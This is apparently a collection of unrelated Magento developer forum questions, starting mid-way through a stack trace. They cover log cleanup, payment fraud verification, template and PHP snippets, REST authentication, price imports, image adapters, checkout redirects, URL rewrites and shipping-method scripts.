#2 /home/software/public_html/vendor/magento/framework/App/ObjectManager/Environment/Developer.php(77): Magento\Framework\App\ObjectManager\ConfigLoader->load('global')
#3 /home/software/public_html/vendor/magento/framework/App/ObjectManagerFactory.php(194): Magento\Framework\App\ObjectManager\Environment\Developer->configureObjectManager(Object(Magento\Framework\Inte in /home/software/public_html/vendor/magento/framework/Config/Reader/Filesystem.php on line 160

Need help ASAP Thanks and sorry if this not a professional post


texts:
I have the Magento backend set to autoclean logs, for testing purposes I timed it to generate instantly and had 0 days for saving logs.

That didn't clean the logs. I ran:

php -f shell/log.php clean

This only truncated a small bit of the logs, but still left them as they used to be.

log_customer
log_quote
log_summary
log_summary_type
log_url
log_url_info
log_visitor
log_visitor_info
log_visitor_online
report_viewed_product_index
report_compared_product_index
report_event


texts: Any payment method supports verifying credit card with random amount？

texts:
we have a magento2 website and have experienced a few fraud credit card payment issues, so we are looking for a credit card payment method with a verification step.

I don't know what this step is called exactly. It is like when a customer placing a big order, we firstly charge a random cents from his credit card and then let him verifying the amount to prove he is the card's owner, then he can place the order.

So what is this step's name?  and any plugin have this function?

Thanks.


texts:
On my cart page i have a little display, which shows products from a certain category, it displays 4 products, but in my category i have 8-10 products. How can i make it select random products so it changes every time the page is refreshed.

This is my code for the products at the moment

<?php if (Mage::helper('checkout/cart')->getQuote()->getSubtotal() < 75.00)
{?>

<?php echo 'We see your subtotal is under £75, why not add these products to qualify for Free Delivery';?>

<?php

$categoryid = 1060;

$category = new Mage_Catalog_Model_Category();
$category->load($categoryid);
$collection = $category->getProductCollection();
$collection->addAttributeToSelect('*');
?>

<?php foreach ($collection as $_product) { ?>

<a href="<?php echo $_product->getProductUrl() ?>">
<img src="<?php echo $this->helper('catalog/image')->init($_product, 'small_image'); ?>" alt="" />
<a href="<?php echo $_product->getProductUrl(); ?>">

<?php echo $_product->getName(); ?>

<?php echo Mage::helper('core')->formatPrice($_product->getPrice());?>

<?php } }

If you can help thank you :)


texts: what type of authentication i need to use laravel to magento

texts:
I want to use Laravel as frontend for Magento 2 . And I want to use Rest API for that.
I have seen below authentication types are there.

1.Session based

2.Token based

3.Oauth based.

Which one I need to use?


texts:
Can You Please Tell Me How Many Tables Does Magento 2 Have?
In MY Database Its Only showing 250. I was installing Magento 2. Its been stucked at 73% since last 20min!

Module 'Magento_GroupedProductSampleData':Installing data...

is there everything okay or not!!!


texts: Magento 1.8x - Group prices dont get adjust based on multiple store

texts:
I want to update group prices in my multiple store website using magmi-importer but the prices are not getting adjusted.

CSV:

"store" | "websites" | "attribute_set" | "type" | "sku" | "group_price:abc" | "group_price:def"

"ca_en,us_en" | "ca,us" | "Default" | "simple" | "123456" | "69.30,69.30" | "79.65,79.65"

As you will notice in my above CSV data, i am updating different prices in 2 different stores but I am not getting any of my prices getting updated in any store.

Can you some one please help me to sort out how to load grouped prices in multie stores website using magmi?


texts:
I want resize product image because is too big.  https://prnt.sc/rqfquk

code:

                            <?php
                $productImage = $block->getImage($_product, $image);
                if ($pos != null) {
                    $position = ' style="left:' . $productImage->getWidth() . 'px;'
                        . 'top:' . $productImage->getHeight() . 'px;"';
                }
                ?>

Can anyone help to slightly reduce the size of the photo?


texts: Magento 2.2 Enable ImageMagick Linux Centos 7

texts:
I am trying to change image adapter in my Magento 2.2.2 store from GD2 to

I am doing this

Run this is CLI
/opt/cpanel/ea-php71/root/usr/bin/pecl install imagick
Run this in CLI change to and enable ImageMagick  in Magento 2
ImageMagick

php bin/magento config:set dev/image/default_adapter imagick

But I get this error

The specified image adapter cannot be used because of: Image adapter for 'imagick' is not setup.

Please can someone help


texts: Redirect to cart page after place order success (Magento CE 2.3.1)

texts:
I am facing this issue too on Magento CE 2.3.1. I have put the log everywhere since the issue happened.

I can see if using a payment method (currently using Cybersource SecureAcceptance) which will redirect the customer to a payment site and redirect back to Magento store. When it returns and calling successValidator to check isValid(). The session object was another different one so It couldn't get anything about the LastSuccessQuoteId and redirect the customer to cart page as the code described in Magento core.

  if
  (!$this->_objectManager->get(\Magento\Checkout\Model\Session\SuccessValidator::class)->isValid())
  {
      return $this->resultRedirectFactory->create()->setPath('checkout/cart'); }

Anyone using the same payment method or same kind of payment method facing this issue and resolve it yet?


texts: continue button gives error in magento checkout page

texts: My website is http://www.hbherb.com/ and in the onepage checkout I Can't go into next step continue button is not working, I have checked in the firbug and it gives error (Error: "throw $continue" is deprecated, use "return" instead).


texts: How to set a default value for a attribute to all products

texts:
I have create an attribute "Brand Name" from Catalog > Attribute > Manage Attribute. I have only one brand name so i want to set that name in "Brand Name" attribute  for all the products. How can i set it, please tell me.
Thank You.


texts: URL Rewrite Throws a 301 Redirect When It Shouldn't

texts:
I have a Magento store but for some reason the generated URL rewrites for several products seem to incorrectly redirect to the category base URL instead of the product itself.

An example of a URL in question would be as follows:

http://example.com/q-connect-floor-standing-fan-410mm-16in.html

this URL redirects to its base category page:

/office-supplies/

Using the program web-sniffer I can see that the URL's in question have the following 301 redirects:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">

<title>301 Moved Permanently</title>

Moved Permanently

The document has moved here.

Strangely however when I look at these products up in the Magento URL Rewrite admin they are set up normally without any sign of a 301 redirect. The true product links do work so I know there is nothing wrong with the product itself.

Anyone ever encountered something similar to this or know what is going on?

Thanks.


texts:
I have come across an issue with shopping cart promotions on our site. It seems as though there is a patch, SUPEE-4814, to resolve this, but I can't find it on the https://magento.com/security/patches.

I have found links to this patch on GitHub (https://gist.github.com/piotrekkaminski/54529dadb0bc01a62a2d), but I don't know anything about the author. Is it a genuine patch?


texts: Filter grouped products in layered navigation by their associated configurable products's attributes

texts:
My category page contains only "grouped products" and I want to filter them in layered navigation by their associated (configurable) products's attributes.

As I understand now grouped product itself has no configurable attributes. Layered Navigation looks into attributes of the parent product.

I can't find any solution to this problem, maybe someone can help me with it?


texts: Trigger click on another option - configurable swatches on product page

texts:
I use Magento rwd theme on my configurable product. I need to have one simple product, but two options on frontend - in file template/configurableswatches/catalog/product/view/type/options/configurable/swatches.phtml I use this code in foreach:

<li class="option-<?php echo $_optionCode; ?><?php echo $_liClass; ?> white" id="option<?php echo $_option->id; ?>">
        <a href="javascript:void(0)" name="<?php echo $_optionCode; ?>" id="swatch<?php echo $_option->id; ?>" class="<?php echo $_aClass ?>" title="<?php echo $_option->label; ?>"
           style="height: <?php echo $_swatchInnerHeight ?>px; <?php if (!$_hasImage): ?>min-<?php endif; ?>width: <?php echo $_swatchInnerWidth ?>px;">
          <span class="swatch-label" style="height: <?php echo $_swatchInnerHeight ?>px; width: <?php echo $_swatchInnerWidth ?>px;">
          <?php if ($_hasImage): ?>
            <img src="<?php echo $_swatchUrl; ?>" alt="<?php echo $_option->label; ?>" width="<?php echo $_swatchInnerWidth ?>" height="<?php echo $_swatchInnerHeight ?>" />
          <?php else: ?>
            <?php echo $this->__('white on') . ' ' . $_option->label; ?>
          <?php endif; ?>

      <li class="option-<?php echo $_optionCode; ?><?php echo $_liClass; ?> black" id="option<?php echo $_option->id; ?>">
        <a href="javascript:void(0)" name="" id="" class="<?php echo $_aClass ?>" title="<?php echo $_option->label; ?>"
           style="height: <?php echo $_swatchInnerHeight ?>px; <?php if (!$_hasImage): ?>min-<?php endif; ?>width: <?php echo $_swatchInnerWidth ?>px;">
          <span class="swatch-label" style="height: <?php echo $_swatchInnerHeight ?>px; width: <?php echo $_swatchInnerWidth ?>px;">
          <?php if ($_hasImage): ?>
            <img src="<?php echo $_swatchUrl; ?>" alt="<?php echo $_option->label; ?>" width="<?php echo $_swatchInnerWidth ?>" height="<?php echo $_swatchInnerHeight ?>" />
          <?php else: ?>
            <?php echo $this->__('black on') . ' ' . $_option->label; ?>
          <?php endif; ?>

I need that option 1 is selected also when user clicks on option 2. I tried using Product.ConfigurableSwatches.prototype.onOptionClick(attr); on click, but I don't know what to put into parameter attr.

Does anyone know how to solve this problem?


texts:
I am getting an error on my websites home page including a custom attribute from my theme.

  PHP Fatal error:  Call to a member function getBackend() on a
  non-object in
  /chroot/home/afgclass/WEBSITEDOMAIN/html/app/code/core/Mage/Eav/Model/Entity/Abstract.php

Can you guys please help any suggestions? Sadly I have no backups ;(


texts: how to use '$this' outside of magento directory scope

texts:
I am using
$smallUrl =  $this->helper('catalog/image')->init($_newProduct,'image')->resize(200);

this code to dynamically fetch images using ajax at root directory of Magento. but I think i cant use $this directly on root directory.

i added

require_once '../app/Mage.php';
Mage::app();

but it doesn't work. what is a workaround here?


texts: Multiple Images for categories in magento 2

texts:
I need to upload multiple images for categories like in products in Magento 2. How can I do this?

Any help is appreciated.

Thank you


texts: Item Price being Ignored in Cart Price Rules

texts:
I'm trying to setup a promotion in Magento 2.2.2. and I'm really not getting the result that I want.
I want it to be like:
If you have at least 3 items in your Cart, and at least one (1) of the items is from the brand X Y or Z, apply 100% discount to an item in your cart that is from brand B - BUT to a maximum of €39.90

The goal here is to make people add products from X Y and Z, and I offer them a product from B.

I have set it up like this:

Now, the Conditions seem to work properly, what definitely does not work is the price range.
If I add two products from brand B (the one that I am offering) the discount is being applied twice, even for products that are over 39.90.
If I add just one product from brand B that costs more than 39.90, the discount still gets applied in full.

Anyone has any idea or suggestions ?


texts:
I am trying to edit the grid.phtml template so my home page New Products widget displays 4 columns instead of 5.  There nothing in the file that seems to dictate columns at all.  Am I looking in the wrong place to make this edit?

The new_grid.phtml file I am editing is located @

  vendor/magento/module-catalog/view/frontend/templates/product/widget/new/content/new_grid.phtml

...which I derived from the shortcode of the widget.  Clearly I'm in trying to edit the wrong file.


texts: Magento2 checkout page add custom text field

texts:
Can anyone helps me how to add a custom text field and value save in database:

I have followed the below link text field is created but the value is not saving in database:
How to add custom checkout fields and save them in db?


texts: OWEBIA - Magento 2.4 - setup global variable for all methods

texts:
is there a way to set up variable on top of list of methods?
I setup a function (return bool) looking for a custom attribute > OK
I display or hide each method on it > OK
exemple on one method :
//check if dangerous products
$allItems = $request->all_items;
$hasDangerousProduct = function ($allItems) use ($request) {
        $count = count(array_filter($allItems, function ($item) {
                                        return $item->product->dangerous_product == true;
                                    }
                )
            );
    if($count > 0){
        return true;
    }
    return false;
};

// France Relais Colis
addMethod('id_1', [
    'title'         => "Relais Colis",
    'enabled'       => in_array($request->dest_country_id, ['FR']) && $hasDangerousProduct($allItems) == false,
    'price'         => array_reduce([ [0,0.5,5.8], [0.51,1,6], [1.01,2,6.66], [2.01,3,6.95], [3.01,4,7.5], [4.01,5,8.10], [5.01,6,8.5], [6.01,7,8.72], [7.01,8,9.23], [8.01,9,9.9], [9.01,10,11], [10.01,11,12], [11.01,12,13], [12.01,13,13.5], [13.01,14,14], [14.01,15,15], [15.01,16,16], [16.01,17,17], [17.01,18,18] ], function ($carry, $item) use ($request) {
            if (isset($carry)) return $carry;
            if (isset($item[0]) && ($request->package_weight >= $item[0] && $request->package_weight <= $item[1])) {
               $carry = $item[2];
            }
            return $carry;
        }),
    'description'   => ""

])
->set('delivery_delay', 2);

I need to display a message if at least one method has been hidden depending on my function returning bool. Or If you prefer if this function return false, I have to display a message.
My idea is to get this result with ko and make my render template dynamic with it, but how to get a global information above shipping methids defined by Owebia ?
Thanks a lot !